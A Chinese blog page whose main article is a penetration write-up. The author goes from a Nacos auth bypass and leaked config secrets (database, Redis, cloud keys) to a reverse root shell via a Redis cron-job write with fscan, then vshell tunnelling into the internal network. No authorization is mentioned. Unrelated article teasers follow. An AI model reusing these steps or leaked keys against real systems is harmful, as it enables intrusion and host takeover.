当前位置： 首页 > news >正文

记录一次从nacos配置信息泄露到redis写计划任务接管主机

news 2026/3/27 4:46:31

经典c段打点开局。使用dddd做快速的打点发现某系统存在nacos权限绕过

有点怀疑是蜜罐，毕竟nacos这实在是有点经典

nacos利用

老规矩见面先上nacos利用工具打一波看看什么情况

弱口令nacos以及未授权访问，看这记录估计被光顾挺多次了啊

手动利用Nacos-Client Yaml 反序列化漏洞失败了，只能摸一摸nacos系统里面有没有什么信息

nacos的打法一般就是看有没有配置信息泄露和自身的一些反序列化漏洞

我这里上面一行有4个都可以去点开看看里面的列的内容，然后配置信息一般就是点开详情就可以查看

运气非常好

找到了数据库的链接账号和密码

redis的密码

微信和wb的一些配置信息？微信小程序的我倒是遇到过，wb的还是第一次见，在网上也没有找打利用方式

惊喜有阿里云的ak和sk！！！

基本就是这些，收获有点过多了

阿里云aksk利用

先尝试利用一下ak和sk，使用阿里云tools

查询后什么都没有查到，估计是失效了，我就说哪有这么好的情况，用ossbrowser尝试后也是没有意外的失效了。

mysql数据库利用

转头查看一下账号密码看能不能连接一下数据库

重新对服务器进行一下扫描

数据库竟然全部开启了对外连接

优先使用mysql连接一下

使用工具MTDU

尝试进行利用

发现错误提示无法写入文件

那么直接用navicat连接一下，数据库的信息还是挺多的，然后检测了一下发现没有目录的写入权限，后续像看看系统能不能写日志文件包含，然后修改日志的保存地址也是失败了。只能在数据库中翻一番有没有什么信息或者密码啥的

功夫不负有心人竟然在数据库中翻到了7牛云的ak和sk，然后就真没翻到其他的东西了，另外没有看到什么没加密的密码以及加了密也没有破解出来的密码和三要素的信息。。。

7牛云aksk利用

我也是第一次遇到7牛云的aksk泄露，在网上找了一下看看利用方式

有一个工具利用

https://github.com/12qwertyuiop/qvmtool

使用方式也很简单，先-s设置一下aksk然后-l就可以了

结果利用失败了，看报错应该是没有返回信息，也就是没利用成功

有点难受，我觉得是工具的原因，于是去官网又找到了另一个连接工具kodo

图形化工具 Kodo Browser_实用工具_对象存储 - 七牛开发者中心

结果也是失败了，看来也是失效了。。。

3306打完了还剩下一个redis也是利用的这个账号密码

redis利用

MDTU虽然也有redis模块但是我觉得他那个模块有点问题，我使用的时候使用失败了，于是直接用fscan的尝试利用算了

参数

-rf写公钥，-rs写计划任务

先扫一下看能不能写redis，毕竟以root权限来启动redis的还是很少的

./fscan_linux -h ip地址 -p 6379 -pwd 密码

出来了，可以写定时任务和公钥，看来是root权限启动的而且是centos的系统，因为只有centos的系统才可以写计划任务

redis手动利用我之前也写过相关的文章

护网HW面试——redis利用方式即复现_redis复现-CSDN博客

我这里直接写计划任务反弹shell上线了

./fscan_linux -h ip地址 -p 6379 -pwd 密码 -rs 攻击机地址:监听端口

等待一会计划任务的执行直接反弹上线，而且直接就是root权限

舒服了，后续也是直接上线vshell然后打隧道建代理打内网，用vshell打隧道简直不要太舒服，一键直接打好，感觉和nps一样而且比nps方便，不需要还自己把客户端上传去执行

后记：

         经典的nacos的利用方式，运气好遇到个root权限起的redis服务，还是挺有意思的，毕竟之前只在公众号文章中看到这些打法，实际遇到了还是花了挺多时间的。

相关文章：

记录一次从nacos配置信息泄露到redis写计划任务接管主机

经典c段打点开局。使用dddd做快速的打点发现某系统存在nacos权限绕过 有点怀疑是蜜罐，毕竟nacos这实在是有点经典 nacos利用 老规矩见面先上nacos利用工具打一波看看什么情况 弱口令nacos以及未授权访问，看这记录估计被光顾挺多次了啊 手动利用Nacos-…...

编程日记 2024/10/23 23:34:57

Unity加载界面制作

效果 UI部分 结构 说下思路: 因为是加载界面,所以最上层是一个Panel阻止所有的UI交互,这个Panel如果有图片就加一个图片,如果没有可以把透明度调到最大,颜色设为黑色. 下面最核心的就是一个进度条了,有图片的话,将进度条的底放进来,将进度条锚点设为下中,将滑动块的尺寸设为0.…...

编程日记 2024/10/23 23:33:56

最好的ppt模板网站是哪个？做PPT不可错过的18个网站！

现在有很多PPT模板网站，但真正免费且高质量的不多，今天我就分享主流的国内外PPT模板下载网站，并且会详细分析这些网站的优缺点，这些网站都是基于个人实际使用经验的，免费站点会特别标注，让你可以放心下载&a…...

编程日记 2024/10/23 23:28:50

煤矿安全监测监控作业题库

第一部分 安全法律法规知识子题库 单选题 1.《安全生产法》规定，生产经营单位应当向从业人员如实告知作业场所和工作岗位存在的(A)、防范措施以及事故应急措施。 A. 危险因素　　　　B. 人员状况　　　　C. 设备状况　　　　D. 环境状况 2.《安全生产法》规定&…...

编程日记 2024/10/23 23:26:48

【记录】Django数据库的基础操作

数据库连接 在Django中使用 mysqlclient 这个包用于数据库的连接，切换至 Django环境中直接 pip install mysqlclient 安装此包 1 数据库连接配置 在项目目录下的setting.py中配置 DATABASES {default: {ENGINE: django.db.backends.mysql,NAME: mini,#数据库名US…...

编程日记 2024/10/23 23:25:47

XHCI 1.2b 规范摘要（五）

系列文章目录 XHCI 1.2b 规范摘要（一） XHCI 1.2b 规范摘要（二） XHCI 1.2b 规范摘要（三） XHCI 1.2b 规范摘要（四） XHCI 1.2b 规范摘要（五） 文章目录 系列文章目…...

编程日记 2024/10/23 23:24:46

小程序短链接生成教程

文章目录 一、小程序短链接（必须发布正式的小程序才能生成短链接！！！）二、使用步骤1.获取token信息2.获取短链接 总结 一、小程序短链接（必须发布正式的小程序才能生成短链接！！&#…...

编程日记 2024/10/23 23:23:45

C++进阶之路：再谈构造函数、static成员、友元（类与对象_下篇）

✨✨ 欢迎大家来访Srlua的博文（づ￣3￣）づ╭❤～✨✨ 🌟🌟 欢迎各位亲爱的读者，感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢，在这里我会分享我的知识和经验。&am…...

编程日记 2024/10/23 23:21:43

C 函数指针与回调函数

C 函数指针与回调函数 在C语言中，函数指针和回调函数是两个非常强大的概念，它们在提高代码的灵活性和模块化方面发挥着重要作用。本文将详细介绍C语言中的函数指针和回调函数，包括它们的定义、用法和实际应用场景。 函数指针 定义 函数指…...

编程日记 2024/10/23 23:17:39

CTF（九）

导言&#xff1a; 本文主要讲述在CTF竞赛网鼎杯中&#xff0c;web类题目AreUSerialz。 靶场链接&#xff1a;BUUCTF在线评测 一&#xff0c;分析代码。 看到了一大段php代码。 <?php// 引入flag.php文件 include("flag.php");// 高亮显示当前文件 highlight…...

编程日记 2024/10/23 23:14:31

三种单例实现

1、不继承Mono的单例 实现 使用 注&#xff1a; 使用需要继承BaseManager 泛型填写自己本身 需要实现无参构造函数 2、挂载式的Mono单例 实现 使用 注&#xff1a; 使用需要继承SingletonMono 泛型填写自己本身 需要挂载在unity引擎面板 3、不用挂载式的单例 实现 使…...

编程日记 2024/10/23 23:12:29

Spring XML配置方式和Spring Boot注解方式的详细对照关系

功能/配置项Spring XML配置方式Spring Boot注解方式定义Beanxml <bean id"myBean" class"com.example.MyBean"/>javaBeanpublic MyBean myBean() { return new MyBean(); }注入Beanxml <bean id"myBean" class"com.example.MyBea…...

编程日记 2024/10/23 23:11:28

leetcode 无重复字符串的排列和组合

1.题目要求: 2.题目代码&#xff1a; class Solution { public:vector<string> result;string str;//利用回溯去解决此问题void backtricking(string S,vector<bool>& used){if(str.size() S.size()){result.push_back(str);}//用used去掉重复的排列与组合f…...

编程日记 2024/10/23 23:10:27

7. 配置

三种获取配置的方法 返回 /config/config.php 、/config/autoload/xxx.php 中的值 <?php namespace App\Controller;use Hyperf\Config\Annotation\Value; use Hyperf\Contract\ConfigInterface; use Hyperf\Di\Annotation\Inject; use Hyperf\HttpServer\Annotation\AutoC…...

编程日记 2024/10/23 23:07:24

WPF中Grid、StackPanel、Canvas、WrapPanel的区别

WPF 中的 Grid、StackPanel、Canvas 和 WrapPanel 都是布局控件&#xff0c;用于在用户界面中组织和排列元素&#xff0c;但它们各自有不同的布局行为和用途。以下是它们的主要区别&#xff1a; Grid&#xff1a; Grid 是最灵活的布局控件&#xff0c;类似于 HTML 中的表格&…...

编程日记 2024/10/23 23:06:23

昇思MindSpore进阶教程--开发常见问题

大家好&#xff0c;我是刘明&#xff0c;明志科技创始人&#xff0c;华为昇思MindSpore布道师。 技术上主攻前端开发、鸿蒙开发和AI算法研究。 努力为大家带来持续的技术分享&#xff0c;如果你也喜欢我的文章&#xff0c;就点个关注吧 MindSpore官网提供了一份在使用MindSpore…...

编程日记 2024/10/23 23:05:22

【Linux】Linux进程地址空间

1.程序地址空间分配回顾 在前⾯C语⾔以及C部分介绍过⼆者的内存分配如下图所示&#xff1a; 全局变量区和未初始化全局变量区也被称为数据区&#xff0c;数据区中除了有全局变 量&#xff0c;还有静态变量和常量 使⽤下⾯的代码演示不同的内容所处的地址&#xff1a; #includ…...

编程日记 2024/10/23 23:02:20

创建包含可导入浏览器信任的SSL自签名证书

问题&#xff1a;现在的三大浏览器&#xff0c;chrome、edge、firefox 一般都默认启用https检查&#xff0c;这就要求我们自建的局域网内的网址和其他诸如nextcloud、photoprism、tiddlywiki等应用也必须要有证书。解决方法是使用openssl自己生成一个。由此则会再衍生出一个问题…...

编程日记 2024/10/23 23:00:16

[Windows] 很火的开源桌面美化工具 Seelen UI v2.0.2

最近&#xff0c;一款来自Github的开源桌面美化工具突然在网上火了起来&#xff0c;引发了大家的关注&#xff0c;不少小伙伴纷纷开始折腾了起来。而折腾的目的&#xff0c;无非是为了一点点乐趣而已&#xff0c;至于结果如何&#xff0c;并不是最要紧的&#xff0c;反倒是体验…...

编程日记 2024/10/23 22:59:12

华帝携手抖音头部达人，金牌导演李力持量身打造厨电定制微短剧

10月21日&#xff0c;由华帝独家冠名&#xff0c;金牌导演李力持执导&#xff0c;抖音头部达人逆袭丁姐领衔主演&#xff0c;ATV亚洲电视、知行易达、抖音商城联合出品的24集现代家庭治愈美食定制微短剧《女厨神》上线抖音。 该剧讲述了热爱生活和美食的丁姐&#xff0c;为了家…...

编程日记 2024/10/23 22:57:09

PlatformIO环境下ESP32-S3与N16R8开发板配置全攻略

1. 为什么选择PlatformIO开发ESP32-S3&#xff1f; 很多刚接触ESP32-S3的开发者会纠结&#xff1a;到底用Arduino IDE还是PlatformIO&#xff1f;我刚开始用Arduino IDE&#xff0c;后来切换到PlatformIO就再也没回去过。PlatformIO有三大杀手锏&#xff1a;跨平台支持&#xf…...

编程新知 2026/3/27 4:15:48

Vue/React项目实战：集成docx-preview实现动态报表预览与下载功能

Vue/React项目实战&#xff1a;动态报表预览与下载的工程化实现 在数据驱动的企业应用中&#xff0c;动态生成和预览业务报表是刚需功能。想象这样一个场景&#xff1a;销售团队在CRM系统中筛选季度数据后&#xff0c;需要立即查看格式规范的业绩分析报告&#xff0c;并能一键…...

编程新知 2026/3/27 2:42:46

某民办高校关键人才梯队建设项目成功案例纪实

——破解“断层”隐忧&#xff0c;构建人才梯队蓄水池【客户行业】学校、民办学校、民办高等教育【问题类型】人才梯队建设&#xff1b;人才培养体系&#xff1b;激励体系&#xff1b;核心人才保留【客户背景】长三角地区一所知名的民办应用型本科院校&#xff0c;建校25年&…...

编程新知 2026/3/27 1:38:28

SYNBO AMA 回顾｜当稳定币突破 3000 亿，一级的“钱”到底在往哪里流？

一、 聊了什么&#xff1a;背景与主题时间&#xff1a;2026 Mar 25 (Wed) 20:00 UTC8主题&#xff1a; Stablecoins Primary Market: The New Capital Stack Powering Global Payments in 2026在昨晚举行的一场围绕“稳定币、PayFi 与全球支付”的 AMA 中&#xff0c;SYNBO 与…...

编程新知 2026/3/27 1:15:57

MySQL技巧(八) :死锁解决与实战案例

在数据库高并发场景下&#xff0c;死锁是一个绕不开的经典难题。两个或多个事务相互持有对方需要的锁&#xff0c;导致都无法继续执行&#xff0c;就像两辆车在狭窄路口互不相让。本文将带你从原理到实战&#xff0c;掌握死锁的排查、解决和预防全流程。一、死锁快速定位当应用…...

编程新知 2026/3/27 1:03:41

雷达点云与相机标定避坑指南：如何用MATLAB Lidar Camera Calibrator提高标定精度

MATLAB Lidar Camera Calibrator实战&#xff1a;高精度标定的7个关键步骤与避坑策略 当激光雷达与相机数据需要融合时&#xff0c;标定精度直接决定了后续感知算法的上限。许多工程师在首次使用MATLAB Lidar Camera Calibrator时&#xff0c;常因自动标定结果不理想而陷入困惑…...

编程新知 2026/3/27 0:23:27

37 Python 时序和文本：词袋模型 BoW 和 TF-IDF 到底怎么理解？

Python 文本分析入门&#xff1a;词袋模型 BoW 和 TF-IDF 到底怎么理解&#xff1f; 上一篇主要解决了两个基础问题&#xff1a; 为什么中文文本通常要先分词&#xff1f;为什么分词之后还要做停用词过滤&#xff1f; 但文本清洗完成之后&#xff0c;新的问题很快就会出现&…...

编程新知 2026/3/27 0:09:21

JVM中的各种垃圾回收算法

什么情况下JVM内存中的一个对象被垃圾回收被哪些变量引用的对象是不能回收的&#xff1f;JVM使用了一种可达性算法来判断哪些对象可以被回收哪些对象不可以被回收。这个算法的意思&#xff0c;就是说对每个对象&#xff0c;都分析一下有谁在引用他&#xff0c;然后一层一层去判…...

编程新知 2026/3/26 23:10:51

HY-Motion 1.0保姆级教程：解决CUDA OOM、Prompt截断等常见问题

HY-Motion 1.0保姆级教程&#xff1a;解决CUDA OOM、Prompt截断等常见问题 1. 前言&#xff1a;为什么需要这篇教程 你是不是也遇到过这样的情况&#xff1a;好不容易下载了HY-Motion 1.0这个强大的3D动作生成模型&#xff0c;准备大展身手&#xff0c;结果一运行就遇到CUDA内…...

编程新知 2026/3/26 23:04:50

Unity游戏翻译神器XUnity.AutoTranslator全攻略：从入门到精通

Unity游戏翻译神器XUnity.AutoTranslator全攻略&#xff1a;从入门到精通 【免费下载链接】XUnity.AutoTranslator 项目地址: https://gitcode.com/gh_mirrors/xu/XUnity.AutoTranslator 问题导入&#xff1a;当游戏语言成为体验障碍 你是否曾遇到这样的困境&#xff…...

编程新知 2026/3/26 21:50:03